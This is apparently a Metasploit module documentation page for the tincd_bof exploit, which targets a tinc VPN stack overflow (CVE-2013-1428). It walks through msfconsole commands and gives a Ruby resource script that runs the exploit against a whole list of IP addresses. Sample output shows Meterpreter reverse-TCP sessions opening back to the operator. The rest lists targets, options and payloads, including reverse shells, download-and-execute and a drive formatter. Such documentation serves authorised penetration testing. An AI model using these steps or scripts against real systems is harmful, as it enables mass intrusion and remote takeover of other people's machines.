Tincd Post-Authentication Remote TCP Stack Buffer Overflow - Metasploit
This page contains detailed information about how to use the exploit/multi/vpn/tincd_bof metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Tincd Post-Authentication Remote TCP Stack Buffer Overflow
Module: exploit/multi/vpn/tincd_bof
Source code: modules/exploits/multi/vpn/tincd_bof.rb
Disclosure date: 2013-04-22
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 655
List of CVEs: CVE-2013-1428
This module exploits a stack buffer overflow in Tinc's tincd service. After authentication, a specially crafted tcp packet (default port 655) leads to a buffer overflow and allows to execute arbitrary code. This module has been tested with tinc-1.1pre6 on Windows XP (custom calc payload) and Windows 7 (windows/meterpreter/reverse_tcp), and tinc version 1.0.19 from the ports of FreeBSD 9.1-RELEASE # 0 and various other OS, see targets. The exploit probably works for all versions <= 1.1pre6. A manually compiled version (1.1.pre6) on Ubuntu 12.10 with gcc 4.7.2 seems to be a non-exploitable crash due to calls to __memcpy_chk depending on how tincd was compiled. Bug got fixed in version 1.0.21/1.1pre7. While writing this module it was recommended to the maintainer to start using DEP/ASLR and other protection mechanisms.
Module Ranking and Traits
Module Ranking:
- average: The exploit is generally unreliable or difficult to exploit. More information about ranking can be found here.
Basic Usage
Using tincd_bof against a single host
Normally, you can use exploit/multi/vpn/tincd_bof this way:
msf > use exploit/multi/vpn/tincd_bof
msf exploit(tincd_bof) > show targets
... a list of targets ...
msf exploit(tincd_bof) > set TARGET target-id
msf exploit(tincd_bof) > show options
... show and set options ...
msf exploit(tincd_bof) > exploit
Using tincd_bof against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your tincd_bof will be using:
- Do:
use exploit/multi/handler
- Do:
set PAYLOAD [payload]
- Set other options required by the payload
- Do:
set EXITONSESSION false
- Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/multi/vpn/tincd_bof")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Go back to menu.
Msfconsole Usage
Here is how the multi/vpn/tincd_bof exploit module looks in the msfconsole:
msf6 > use exploit/multi/vpn/tincd_bof
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(multi/vpn/tincd_bof) > show info
Name: Tincd Post-Authentication Remote TCP Stack Buffer Overflow
Module: exploit/multi/vpn/tincd_bof
Platform:
Arch:
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Average
Disclosed: 2013-04-22
Provided by:
Tobias Ospelt
Martin Schobert
Available targets:
Id Name
-- ----
0 Windows XP x86, tinc 1.1.pre6 (exe installer)
1 Windows 7 x86, tinc 1.1.pre6 (exe installer)
2 FreeBSD 9.1-RELEASE # 0 x86, tinc 1.0.19 (ports)
3 Fedora 19 x86 ROP (NX), write binary to disk payloads, tinc 1.0.20 (manual compile)
4 Fedora 19 x86 ROP (NX), CMD exec payload, tinc 1.0.20 (manual compile)
5 Archlinux 2013.04.01 x86, tinc 1.0.20 (manual compile)
6 OpenSuse 11.2 x86, tinc 1.0.20 (manual compile)
7 Pidora 18 ARM ROP(NX)/ASLR brute force, write binary to disk payloads, tinc 1.0.20 (manual compile with restarting daemon)
8 Pidora 18 ARM ROP(NX)/ASLR brute force, CMD exec payload, tinc 1.0.20 (manual compile with restarting daemon)
9 Crash only: Ubuntu 12.10 x86, tinc 1.1.pre6 (apt-get or manual compile)
10 Crash only: Fedora 16 x86, tinc 1.0.19 (yum)
11 Crash only: OpenSuse 11.2 x86, tinc 1.0.16 (rpm package)
12 Crash only: Debian 7.3 ARM, tinc 1.0.19 (apt-get)
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
BINARY_DROP_LOCATION /tmp no Short location to drop executable on server, usually /tmp or .
BRUTEFORCE_TRIES 200 no How many brute force tries (ASLR brute force)
CLIENT_NAME yes Your client name (pre-shared with server)
CLIENT_PRIVATE_KEY_FILE yes Client private key
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 655 yes The target port (TCP)
SERVER_PUBLIC_KEY_FILE yes Server's public key
WAIT 3 no Waiting time for server daemon restart (ASLR brute force)
Payload information:
Space: 1675
Description:
This module exploits a stack buffer overflow in Tinc's tincd
service. After authentication, a specially crafted tcp packet
(default port 655) leads to a buffer overflow and allows to execute
arbitrary code. This module has been tested with tinc-1.1pre6 on
Windows XP (custom calc payload) and Windows 7
(windows/meterpreter/reverse_tcp), and tinc version 1.0.19 from the
ports of FreeBSD 9.1-RELEASE # 0 and various other OS, see targets.
The exploit probably works for all versions <= 1.1pre6. A manually
compiled version (1.1.pre6) on Ubuntu 12.10 with gcc 4.7.2 seems to
be a non-exploitable crash due to calls to __memcpy_chk depending on
how tincd was compiled. Bug got fixed in version 1.0.21/1.1pre7.
While writing this module it was recommended to the maintainer to
start using DEP/ASLR and other protection mechanisms.
References:
https://nvd.nist.gov/vuln/detail/CVE-2013-1428
OSVDB (92653)
http://www.securityfocus.com/bid/59369
http://www.floyd.ch/?p=741
http://sitsec.net/blog/2013/04/22/stack-based-buffer-overflow-in-the-vpn-software-tinc-for-authenticated-peers/
Module Options
This is a complete list of options available in the multi/vpn/tincd_bof exploit:
msf6 exploit(multi/vpn/tincd_bof) > show options
Module options (exploit/multi/vpn/tincd_bof):
Name Current Setting Required Description
---- --------------- -------- -----------
BINARY_DROP_LOCATION /tmp no Short location to drop executable on server, usually /tmp or .
BRUTEFORCE_TRIES 200 no How many brute force tries (ASLR brute force)
CLIENT_NAME yes Your client name (pre-shared with server)
CLIENT_PRIVATE_KEY_FILE yes Client private key
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 655 yes The target port (TCP)
SERVER_PUBLIC_KEY_FILE yes Server's public key
WAIT 3 no Waiting time for server daemon restart (ASLR brute force)
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows XP x86, tinc 1.1.pre6 (exe installer)
Advanced Options
Here is a complete list of advanced options supported by the multi/vpn/tincd_bof exploit:
msf6 exploit(multi/vpn/tincd_bof) > show advanced
Module advanced options (exploit/multi/vpn/tincd_bof):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
ConnectTimeout 10 yes Maximum number of seconds to establish a TCP connection
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCipher no String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
SSLVerifyMode PEER no SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadBindPort no Port to bind reverse tcp socket to on target system.
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependMigrate false yes Spawns and runs shellcode in new process
PrependMigrateProc no Process to spawn and run shellcode in
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the multi/vpn/tincd_bof module can exploit:
msf6 exploit(multi/vpn/tincd_bof) > show targets
Exploit targets:
Id Name
-- ----
0 Windows XP x86, tinc 1.1.pre6 (exe installer)
1 Windows 7 x86, tinc 1.1.pre6 (exe installer)
2 FreeBSD 9.1-RELEASE # 0 x86, tinc 1.0.19 (ports)
3 Fedora 19 x86 ROP (NX), write binary to disk payloads, tinc 1.0.20 (manual compile)
4 Fedora 19 x86 ROP (NX), CMD exec payload, tinc 1.0.20 (manual compile)
5 Archlinux 2013.04.01 x86, tinc 1.0.20 (manual compile)
6 OpenSuse 11.2 x86, tinc 1.0.20 (manual compile)
7 Pidora 18 ARM ROP(NX)/ASLR brute force, write binary to disk payloads, tinc 1.0.20 (manual compile with restarting daemon)
8 Pidora 18 ARM ROP(NX)/ASLR brute force, CMD exec payload, tinc 1.0.20 (manual compile with restarting daemon)
9 Crash only: Ubuntu 12.10 x86, tinc 1.1.pre6 (apt-get or manual compile)
10 Crash only: Fedora 16 x86, tinc 1.0.19 (yum)
11 Crash only: OpenSuse 11.2 x86, tinc 1.0.16 (rpm package)
12 Crash only: Debian 7.3 ARM, tinc 1.0.19 (apt-get)
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the multi/vpn/tincd_bof exploit:
msf6 exploit(multi/vpn/tincd_bof) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 payload/generic/tight_loop normal No Generic x86 Tight Loop
5 payload/windows/adduser normal No Windows Execute net user /ADD
6 payload/windows/dllinject/bind_hidden_ipknock_tcp normal No Reflective DLL Injection, Hidden Bind Ipknock TCP Stager
7 payload/windows/dllinject/bind_hidden_tcp normal No Reflective DLL Injection, Hidden Bind TCP Stager
8 payload/windows/dllinject/bind_ipv6_tcp normal No Reflective DLL Injection, Bind IPv6 TCP Stager (Windows x86)
9 payload/windows/dllinject/bind_ipv6_tcp_uuid normal No Reflective DLL Injection, Bind IPv6 TCP Stager with UUID Support (Windows x86)
10 payload/windows/dllinject/bind_named_pipe normal No Reflective DLL Injection, Windows x86 Bind Named Pipe Stager
11 payload/windows/dllinject/bind_nonx_tcp normal No Reflective DLL Injection, Bind TCP Stager (No NX or Win7)
12 payload/windows/dllinject/bind_tcp normal No Reflective DLL Injection, Bind TCP Stager (Windows x86)
13 payload/windows/dllinject/bind_tcp_rc4 normal No Reflective DLL Injection, Bind TCP Stager (RC4 Stage Encryption, Metasm)
14 payload/windows/dllinject/bind_tcp_uuid normal No Reflective DLL Injection, Bind TCP Stager with UUID Support (Windows x86)
15 payload/windows/dllinject/reverse_hop_http normal No Reflective DLL Injection, Reverse Hop HTTP/HTTPS Stager
16 payload/windows/dllinject/reverse_http normal No Reflective DLL Injection, Windows Reverse HTTP Stager (wininet)
17 payload/windows/dllinject/reverse_http_proxy_pstore normal No Reflective DLL Injection, Reverse HTTP Stager Proxy
18 payload/windows/dllinject/reverse_ipv6_tcp normal No Reflective DLL Injection, Reverse TCP Stager (IPv6)
19 payload/windows/dllinject/reverse_nonx_tcp normal No Reflective DLL Injection, Reverse TCP Stager (No NX or Win7)
20 payload/windows/dllinject/reverse_ord_tcp normal No Reflective DLL Injection, Reverse Ordinal TCP Stager (No NX or Win7)
21 payload/windows/dllinject/reverse_tcp normal No Reflective DLL Injection, Reverse TCP Stager
22 payload/windows/dllinject/reverse_tcp_allports normal No Reflective DLL Injection, Reverse All-Port TCP Stager
23 payload/windows/dllinject/reverse_tcp_dns normal No Reflective DLL Injection, Reverse TCP Stager (DNS)
24 payload/windows/dllinject/reverse_tcp_rc4 normal No Reflective DLL Injection, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
25 payload/windows/dllinject/reverse_tcp_rc4_dns normal No Reflective DLL Injection, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
26 payload/windows/dllinject/reverse_tcp_uuid normal No Reflective DLL Injection, Reverse TCP Stager with UUID Support
27 payload/windows/dllinject/reverse_winhttp normal No Reflective DLL Injection, Windows Reverse HTTP Stager (winhttp)
28 payload/windows/dns_txt_query_exec normal No DNS TXT Record Payload Download and Execution
29 payload/windows/download_exec normal No Windows Executable Download (http,https,ftp) and Execute
30 payload/windows/exec normal No Windows Execute Command
31 payload/windows/format_all_drives manual No Windows Drive Formatter
32 payload/windows/loadlibrary normal No Windows LoadLibrary Path
33 payload/windows/messagebox normal No Windows MessageBox
34 payload/windows/meterpreter/bind_hidden_ipknock_tcp normal No Windows Meterpreter (Reflective Injection), Hidden Bind Ipknock TCP Stager
35 payload/windows/meterpreter/bind_hidden_tcp normal No Windows Meterpreter (Reflective Injection), Hidden Bind TCP Stager
36 payload/windows/meterpreter/bind_ipv6_tcp normal No Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)
37 payload/windows/meterpreter/bind_ipv6_tcp_uuid normal No Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
38 payload/windows/meterpreter/bind_named_pipe normal No Windows Meterpreter (Reflective Injection), Windows x86 Bind Named Pipe Stager
39 payload/windows/meterpreter/bind_nonx_tcp normal No Windows Meterpreter (Reflective Injection), Bind TCP Stager (No NX or Win7)
40 payload/windows/meterpreter/bind_tcp normal No Windows Meterpreter (Reflective Injection), Bind TCP Stager (Windows x86)
41 payload/windows/meterpreter/bind_tcp_rc4 normal No Windows Meterpreter (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
42 payload/windows/meterpreter/bind_tcp_uuid normal No Windows Meterpreter (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)
43 payload/windows/meterpreter/reverse_hop_http normal No Windows Meterpreter (Reflective Injection), Reverse Hop HTTP/HTTPS Stager
44 payload/windows/meterpreter/reverse_http normal No Windows Meterpreter (Reflective Injection), Windows Reverse HTTP Stager (wininet)
45 payload/windows/meterpreter/reverse_http_proxy_pstore normal No Windows Meterpreter (Reflective Injection), Reverse HTTP Stager Proxy
46 payload/windows/meterpreter/reverse_https normal No Windows Meterpreter (Reflective Injection), Windows Reverse HTTPS Stager (wininet)
47 payload/windows/meterpreter/reverse_https_proxy normal No Windows Meterpreter (Reflective Injection), Reverse HTTPS Stager with Support for Custom Proxy
48 payload/windows/meterpreter/reverse_ipv6_tcp normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (IPv6)
49 payload/windows/meterpreter/reverse_named_pipe normal No Windows Meterpreter (Reflective Injection), Windows x86 Reverse Named Pipe (SMB) Stager
50 payload/windows/meterpreter/reverse_nonx_tcp normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (No NX or Win7)
51 payload/windows/meterpreter/reverse_ord_tcp normal No Windows Meterpreter (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
52 payload/windows/meterpreter/reverse_tcp normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager
53 payload/windows/meterpreter/reverse_tcp_allports normal No Windows Meterpreter (Reflective Injection), Reverse All-Port TCP Stager
54 payload/windows/meterpreter/reverse_tcp_dns normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (DNS)
55 payload/windows/meterpreter/reverse_tcp_rc4 normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
56 payload/windows/meterpreter/reverse_tcp_rc4_dns normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
57 payload/windows/meterpreter/reverse_tcp_uuid normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager with UUID Support
58 payload/windows/meterpreter/reverse_winhttp normal No Windows Meterpreter (Reflective Injection), Windows Reverse HTTP Stager (winhttp)
59 payload/windows/meterpreter/reverse_winhttps normal No Windows Meterpreter (Reflective Injection), Windows Reverse HTTPS Stager (winhttp)
60 payload/windows/metsvc_bind_tcp normal No Windows Meterpreter Service, Bind TCP
61 payload/windows/metsvc_reverse_tcp normal No Windows Meterpreter Service, Reverse TCP Inline
62 payload/windows/patchupdllinject/bind_hidden_ipknock_tcp normal No Windows Inject DLL, Hidden Bind Ipknock TCP Stager
63 payload/windows/patchupdllinject/bind_hidden_tcp normal No Windows Inject DLL, Hidden Bind TCP Stager
64 payload/windows/patchupdllinject/bind_ipv6_tcp normal No Windows Inject DLL, Bind IPv6 TCP Stager (Windows x86)
65 payload/windows/patchupdllinject/bind_ipv6_tcp_uuid normal No Windows Inject DLL, Bind IPv6 TCP Stager with UUID Support (Windows x86)
66 payload/windows/patchupdllinject/bind_named_pipe normal No Windows Inject DLL, Windows x86 Bind Named Pipe Stager
67 payload/windows/patchupdllinject/bind_nonx_tcp normal No Windows Inject DLL, Bind TCP Stager (No NX or Win7)
68 payload/windows/patchupdllinject/bind_tcp normal No Windows Inject DLL, Bind TCP Stager (Windows x86)
69 payload/windows/patchupdllinject/bind_tcp_rc4 normal No Windows Inject DLL, Bind TCP Stager (RC4 Stage Encryption, Metasm)
70 payload/windows/patchupdllinject/bind_tcp_uuid normal No Windows Inject DLL, Bind TCP Stager with UUID Support (Windows x86)
71 payload/windows/patchupdllinject/reverse_ipv6_tcp normal No Windows Inject DLL, Reverse TCP Stager (IPv6)
72 payload/windows/patchupdllinject/reverse_nonx_tcp normal No Windows Inject DLL, Reverse TCP Stager (No NX or Win7)
73 payload/windows/patchupdllinject/reverse_ord_tcp normal No Windows Inject DLL, Reverse Ordinal TCP Stager (No NX or Win7)
74 payload/windows/patchupdllinject/reverse_tcp normal No Windows Inject DLL, Reverse TCP Stager
75 payload/windows/patchupdllinject/reverse_tcp_allports normal No Windows Inject DLL, Reverse All-Port TCP Stager
76 payload/windows/patchupdllinject/reverse_tcp_dns normal No Windows Inject DLL, Reverse TCP Stager (DNS)
77 payload/windows/patchupdllinject/reverse_tcp_rc4 normal No Windows Inject DLL, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
78 payload/windows/patchupdllinject/reverse_tcp_rc4_dns normal No Windows Inject DLL, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
79 payload/windows/patchupdllinject/reverse_tcp_uuid normal No Windows Inject DLL, Reverse TCP Stager with UUID Support
80 payload/windows/patchupmeterpreter/bind_hidden_ipknock_tcp normal No Windows Meterpreter (skape/jt Injection), Hidden Bind Ipknock TCP Stager
81 payload/windows/patchupmeterpreter/bind_hidden_tcp normal No Windows Meterpreter (skape/jt Injection), Hidden Bind TCP Stager
82 payload/windows/patchupmeterpreter/bind_ipv6_tcp normal No Windows Meterpreter (skape/jt Injection), Bind IPv6 TCP Stager (Windows x86)
83 payload/windows/patchupmeterpreter/bind_ipv6_tcp_uuid normal No Windows Meterpreter (skape/jt Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
84 payload/windows/patchupmeterpreter/bind_named_pipe normal No Windows Meterpreter (skape/jt Injection), Windows x86 Bind Named Pipe Stager
85 payload/windows/patchupmeterpreter/bind_nonx_tcp normal No Windows Meterpreter (skape/jt Injection), Bind TCP Stager (No NX or Win7)
86 payload/windows/patchupmeterpreter/bind_tcp normal No Windows Meterpreter (skape/jt Injection), Bind TCP Stager (Windows x86)
87 payload/windows/patchupmeterpreter/bind_tcp_rc4 normal No Windows Meterpreter (skape/jt Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
88 payload/windows/patchupmeterpreter/bind_tcp_uuid normal No Windows Meterpreter (skape/jt Injection), Bind TCP Stager with UUID Support (Windows x86)
89 payload/windows/patchupmeterpreter/reverse_ipv6_tcp normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (IPv6)
90 payload/windows/patchupmeterpreter/reverse_nonx_tcp normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (No NX or Win7)
91 payload/windows/patchupmeterpreter/reverse_ord_tcp normal No Windows Meterpreter (skape/jt Injection), Reverse Ordinal TCP Stager (No NX or Win7)
92 payload/windows/patchupmeterpreter/reverse_tcp normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager
93 payload/windows/patchupmeterpreter/reverse_tcp_allports normal No Windows Meterpreter (skape/jt Injection), Reverse All-Port TCP Stager
94 payload/windows/patchupmeterpreter/reverse_tcp_dns normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (DNS)
95 payload/windows/patchupmeterpreter/reverse_tcp_rc4 normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
96 payload/windows/patchupmeterpreter/reverse_tcp_rc4_dns normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
97 payload/windows/patchupmeterpreter/reverse_tcp_uuid normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager with UUID Support
98 payload/windows/peinject/bind_hidden_ipknock_tcp normal No Windows Inject PE Files, Hidden Bind Ipknock TCP Stager
99 payload/windows/peinject/bind_hidden_tcp normal No Windows Inject PE Files, Hidden Bind TCP Stager
100 payload/windows/peinject/bind_ipv6_tcp normal No Windows Inject PE Files, Bind IPv6 TCP Stager (Windows x86)
101 payload/windows/peinject/bind_ipv6_tcp_uuid normal No Windows Inject PE Files, Bind IPv6 TCP Stager with UUID Support (Windows x86)
102 payload/windows/peinject/bind_named_pipe normal No Windows Inject PE Files, Windows x86 Bind Named Pipe Stager
103 payload/windows/peinject/bind_nonx_tcp normal No Windows Inject PE Files, Bind TCP Stager (No NX or Win7)
104 payload/windows/peinject/bind_tcp normal No Windows Inject PE Files, Bind TCP Stager (Windows x86)
105 payload/windows/peinject/bind_tcp_rc4 normal No Windows Inject PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)
106 payload/windows/peinject/bind_tcp_uuid normal No Windows Inject PE Files, Bind TCP Stager with UUID Support (Windows x86)
107 payload/windows/peinject/reverse_ipv6_tcp normal No Windows Inject PE Files, Reverse TCP Stager (IPv6)
108 payload/windows/peinject/reverse_named_pipe normal No Windows Inject PE Files, Windows x86 Reverse Named Pipe (SMB) Stager
109 payload/windows/peinject/reverse_nonx_tcp normal No Windows Inject PE Files, Reverse TCP Stager (No NX or Win7)
110 payload/windows/peinject/reverse_ord_tcp normal No Windows Inject PE Files, Reverse Ordinal TCP Stager (No NX or Win7)
111 payload/windows/peinject/reverse_tcp normal No Windows Inject PE Files, Reverse TCP Stager
112 payload/windows/peinject/reverse_tcp_allports normal No Windows Inject PE Files, Reverse All-Port TCP Stager
113 payload/windows/peinject/reverse_tcp_dns normal No Windows Inject PE Files, Reverse TCP Stager (DNS)
114 payload/windows/peinject/reverse_tcp_rc4 normal No Windows Inject PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
115 payload/windows/peinject/reverse_tcp_rc4_dns normal No Windows Inject PE Files, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
116 payload/windows/peinject/reverse_tcp_uuid normal No Windows Inject PE Files, Reverse TCP Stager with UUID Support
117 payload/windows/pingback_bind_tcp normal No Windows x86 Pingback, Bind TCP Inline
118 payload/windows/pingback_reverse_tcp normal No Windows x86 Pingback, Reverse TCP Inline
119 payload/windows/powershell_bind_tcp normal No Windows Interactive Powershell Session, Bind TCP
120 payload/windows/powershell_reverse_tcp normal No Windows Interactive Powershell Session, Reverse TCP
121 payload/windows/shell/bind_hidden_ipknock_tcp normal No Windows Command Shell, Hidden Bind Ipknock TCP Stager
122 payload/windows/shell/bind_hidden_tcp normal No Windows Command Shell, Hidden Bind TCP Stager
123 payload/windows/shell/bind_ipv6_tcp normal No Windows Command Shell, Bind IPv6 TCP Stager (Windows x86)
124 payload/windows/shell/bind_ipv6_tcp_uuid normal No Windows Command Shell, Bind IPv6 TCP Stager with UUID Support (Windows x86)
125 payload/windows/shell/bind_named_pipe normal No Windows Command Shell, Windows x86 Bind Named Pipe Stager
126 payload/windows/shell/bind_nonx_tcp normal No Windows Command Shell, Bind TCP Stager (No NX or Win7)
127 payload/windows/shell/bind_tcp normal No Windows Command Shell, Bind TCP Stager (Windows x86)
128 payload/windows/shell/bind_tcp_rc4 normal No Windows Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
129 payload/windows/shell/bind_tcp_uuid normal No Windows Command Shell, Bind TCP Stager with UUID Support (Windows x86)
130 payload/windows/shell/reverse_ipv6_tcp normal No Windows Command Shell, Reverse TCP Stager (IPv6)
131 payload/windows/shell/reverse_nonx_tcp normal No Windows Command Shell, Reverse TCP Stager (No NX or Win7)
132 payload/windows/shell/reverse_ord_tcp normal No Windows Command Shell, Reverse Ordinal TCP Stager (No NX or Win7)
133 payload/windows/shell/reverse_tcp normal No Windows Command Shell, Reverse TCP Stager
134 payload/windows/shell/reverse_tcp_allports normal No Windows Command Shell, Reverse All-Port TCP Stager
135 payload/windows/shell/reverse_tcp_dns normal No Windows Command Shell, Reverse TCP Stager (DNS)
136 payload/windows/shell/reverse_tcp_rc4 normal No Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
137 payload/windows/shell/reverse_tcp_rc4_dns normal No Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
138 payload/windows/shell/reverse_tcp_uuid normal No Windows Command Shell, Reverse TCP Stager with UUID Support
